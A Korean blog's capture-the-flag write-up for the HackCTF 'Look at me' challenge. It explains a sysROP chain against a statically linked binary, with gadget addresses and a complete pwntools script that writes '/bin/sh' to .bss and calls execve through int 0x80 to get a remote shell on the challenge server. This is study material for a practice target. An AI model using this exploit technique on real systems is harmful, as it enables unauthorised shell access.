상세 컨텐츠

본문 제목

[HackCTF] Look at me (sysrop)

SYSTEM HACKING/HackCTF

by koharin 2020. 1. 31. 10:40

본문

728x90
반응형

 

statically linked binary이다.

statically linked는 바이너리 내에서 함수를 로드해서 사용한다.

 

이 문제의 경우 system 함수가 없었다.

그래서 이번엔 syscall을 사용해서 execve("/bin/sh", NULL, NULL); 을 실행시키는 sysROP 방법으로 문제를 풀어봤다.

 


 

# process

 

1. sysROP 과정

 

1) 레지스터에 필요한 인자 저장

 

- 필요한 인자

pop eax; ret => \x0b : execve의 syscall id

pop ebx; ret => "/bin/sh"

pop ecx; ret => 0

pop edx; ret => 0

 

2) int 0x80 명령어 실행

 

- syscall 시 필요하다.

 

- 필요한 인자

int 0x80; ret 

 

 

2. ROP gadget 찾기

 

rp를 이용해서 필요한 gadget을 찾았다.

 

 

"int 0x80 ; ret" : 0x806f630

"pop eax ; ret" : 0x80b81c6

"pop edx ; pop ecx ; pop ebx ; ret" : 0x806f050

 

 

3. "/bin/sh" 문자열 저장

 

system 함수가 없으므로 "/bin/sh" 문자열 주소를 찾을 수 없다.

따라서 bss 영역에 "/bin/sh"를 넣어줄 것이다.

gets@plt 가 있으므로 gets로 bss에 "/bin/sh"를 전달해서 넣어준다.

 

 


 

 

# exploit code

 

 

#!/usr/bin/python
from pwn import *

#p = process("./lookatme")
p = remote("ctf.j0n9hyun.xyz", 3017)
pop_eax = 0x80b81c6
pop_edx_ecx_ebx = 0x806f050
int_0x80 = 0x806f630
gets_plt = 0x804f120
bss = 0x080eaf80

pay = 'A'*0x18 + 'B'*0x4
pay += p32(gets_plt) + p32(pop_eax) + p32(bss)
pay += p32(pop_eax) + "\x0b" + "\x00"*3
pay += p32(pop_edx_ecx_ebx) + "\x00"*4 + "\x00"*4 + p32(bss)
pay += p32(int_0x80)

p.sendlineafter("\n", pay)
p.sendline("/bin/sh\x00")

p.interactive()

 

 

# exploit

 

 


 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] RTC  (0) 2020.02.03
[HackCTF] You are silver  (0) 2020.01.31
[HackCTF] SysROP  (0) 2020.01.30
[HackCTF] Beginner Heap  (0) 2020.01.22
[HackCTF] Unexploitable #2  (0) 2020.01.19

관련글 더보기